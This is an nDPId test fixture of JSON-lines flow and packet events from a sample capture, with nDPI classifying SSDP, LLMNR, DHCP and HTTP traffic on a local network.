+00579{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":589,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":243140,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6GF4PUugBCABFAAChMNEAAAER0p\/AqAU57\/\/\/+toBB2wAjcGgTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00810{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":590,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":243529,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNN4pAgEGAP54u0wAAAAAwKgFMcCoBTHAqHcBAAAAAOix\/Kv7sgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00578{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":591,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":345385,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYzEACABFAAChOq0AAAERyNDAqAUs7\/\/\/+si9B2wAjdLxTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":592,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::1:3","src_port":61548,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00469{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":592,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":448550,"pkt_caplen":95,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":95,"pkt_l4_len":41,"pkt":"MzMAAQAD6LH8q\/uyht1gAAAAACkRAf6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAQAD8GwU6wApG1\/NkQAAAAEAAAAAAAAPY2Flc2FyLXRoaW5rcGFkAAD\/AAE="} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":592,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::9bd:81dd:2fdc:5750","dst_ip":"ff02::1:3","src_port":61548,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":593,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"224.0.0.252","src_port":61548,"dst_port":5355,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":53,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":593,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":448739,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AQBeAAD86LH8q\/uyCABFAAA9ed0AAAERmP3AqAUx4AAA\/PBsFOsAKYTXzZEAAAABAAAAAAAAD2NhZXNhci10aGlua3BhZAAA\/wAB"} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":593,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":53,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"224.0.0.252","src_port":61548,"dst_port":5355,"l4_proto":"udp","ndpi": {"proto":"LLMNR","breed":"Acceptable","category":"Network"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":594,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":51704,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00584{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":594,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":448863,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/66LH8q\/uyCABFAAClCesAAAQR9onAqAUx7\/\/\/+sn4B2wAkYV1TS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":594,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":51704,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00469{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":595,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":857884,"pkt_caplen":95,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":95,"pkt_l4_len":41,"pkt":"MzMAAQAD6LH8q\/uyht1gAAAAACkRAf6AAAAAAAAACb2B3S\/cV1D\/AgAAAAAAAAAAAAAAAQAD8GwU6wApG1\/NkQAAAAEAAAAAAAAPY2Flc2FyLXRoaW5rcGFkAAD\/AAE="} +00438{"flow_id":53,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":596,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":858294,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AQBeAAD86LH8q\/uyCABFAAA9ed8AAAERmPvAqAUx4AAA\/PBsFOsAKYTXzZEAAAABAAAAAAAAD2NhZXNhci10aGlua3BhZAAA\/wAB"} +01783{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":597,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104382,"pkt_ts_usec":864520,"pkt_caplen":1078,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1078,"pkt_l4_len":1044,"pkt":"ABxCjnAxTF4M6gNlCABFAAQost1AADEGdy63gzCQwKhzCABQwc0rYevsUifCM1AYK\/ggLgAAAAfQAAAAAQAAAAAAAAABAAALuAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAH0AAAAAEAAAu4AAAAAQAAA+gAAAABAAAH0AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAABtYAAAAAQAAC7gAAAACAAAAAAAAAAIAAAPoAAAAAQAAF3AAAAABAAALuAAAAAIAAAAAAAAAAQAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAAAu4AAAAAQAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAAH0AAAAAEAAAu4AAAAAQAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAB9AAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAAAH0AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAACAAAH0AAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAH0AAAAAEAAAu4AAAAAQAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAAA+gAAAAAQAAB9AAAAABAAAAAAAAAAEAABdwAAAAAQAAC7gAAAACAAAAAAAAAAEAAAPoAAAAAgAAB9AAAAABAAALuAAAAAEAAAPoAAAAAQAAD6AAAAABAAAH0AAAAAEAAAAAAAAAAQAAB9AAAAABAAALuAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAATiAAAAAEAAAfQAAAAAQAAAAAAAAABAAAD6AAAAAEAABOIAAAAAQAAB9AAAAABAAAAAAAAAAEAAAPoAAAAAQAAE4gAAAABAAAH0AAAAAEAAAAAAAAAAQAAA+gAAAABAAAPoAAAAAEAAAfQAAAAAQAAAAAAAAABAA=="} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1470104381217,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"239.255.255.250","src_port":57325,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00470{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1470104376301,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"0.0.0.0","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1470104382242,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.9","dst_ip":"239.255.255.250","src_port":55484,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":1470104382241,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.101.33","dst_ip":"239.255.255.250","src_port":55485,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1470104378657,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1470104378657,"flow_last_seen":0,"flow_tot_l4_data_len":337,"flow_min_l4_data_len":337,"flow_max_l4_data_len":337,"flow_avg_l4_data_len":337,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b030:214:100:c2a0:bbff:fe73:eb47","dst_ip":"ff02::1","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":54,"flow_packet_id":1,"flow_first_seen":1470104382448,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.49","dst_ip":"239.255.255.250","src_port":51704,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1470104380909,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1470104380909,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00510{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1470104375419,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00472{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1470104375419,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53605,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1470104378557,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1470104378557,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":598,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104383,"pkt_ts_usec":61826,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"TF4M6gNlABxCjnAxCABFAAAoUjhAAIAGjNPAqHMIt4MwkMHNAFBSJ8IzK2Hv7FAQ+\/CmWAAA"} +00583{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":604,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104383,"pkt_ts_usec":675559,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"AQBef\/\/6zD2CHu7jCABFAAClQLYAAAQRv8DAqAUv7\/\/\/+utrB2wAkWQETS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDogMjM5LjI1NS4yNTUuMjUwOjE5MDANClNUOiB1cm46c2NoZW1hcy11cG5wLW9yZzpkZXZpY2U6SW50ZXJuZXRHYXRld2F5RGV2aWNlOjENCk1hbjogInNzZHA6ZGlzY292ZXIiDQpNWDogMw0KDQo="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":607,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1470104383810,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.119.1","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00796{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":607,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104383,"pkt_ts_usec":810371,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"TF4M6gNlYMVHBbyMCABFAAFI+0MAAEARgP\/AqAUQwKh3AQBEAEMBNFvxAQEGABeXwMwAAAAAwKgFEAAAAAAAAAAAAAAAAGDFRwW8jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDNwkBAwYPd1\/8LC45AgXcPQcBYMVHBbyMMwQAdqcADAtNYWNCb29rLUFpcv8AAAAAAAAAAAAAAAAA"} +00557{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":607,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1470104383810,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.119.1","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,3,6,15,119,95,252,44,46"}} +00797{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":608,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104383,"pkt_ts_usec":815221,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"ABxCjnAxTF4M6gNlCABFAAFIAAAAABARrEPAqHcBwKgFEABDAEQBNHbOAgEGABeXwMwAAAAAwKgFEMCoBRDAqHcBAAAAAGDFRwW8jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00579{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":612,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104384,"pkt_ts_usec":85549,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEMAAAER2QfAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00467{"flow_id":9,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":613,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104384,"pkt_ts_usec":85672,"pkt_caplen":98,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":98,"pkt_l4_len":44,"pkt":"MzMAAQACcD6s8PAHht1gBWEEACwRAf6AAAAAAAAABAZVqGRTJd3\/AgAAAAAAAAAAAAAAAQACAiICIwAshosLJ3MdAAEADgABAAEduOb7cD6s8PAHAAYABAAXABgACAACAt0="} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":618,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1470104384289,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"239.255.255.250","src_port":57325,"dst_port":1900,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00580{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":618,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104384,"pkt_ts_usec":289461,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6CJ4BzeuNCABFAAChFFAAAAER7zTAqAUl7\/\/\/+t\/tB2wAjbvITS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00511{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":618,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1470104384289,"flow_last_seen":0,"flow_tot_l4_data_len":141,"flow_min_l4_data_len":141,"flow_max_l4_data_len":141,"flow_avg_l4_data_len":141,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.37","dst_ip":"239.255.255.250","src_port":57325,"dst_port":1900,"l4_proto":"udp","ndpi": {"proto":"SSDP","breed":"Acceptable","category":"System"}} +00809{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":620,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104384,"pkt_ts_usec":802618,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNEsMAgEGAENEXMgAAAAAwKgFLcCoBS3AqHcBAAAAAOCsy3Hh0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} 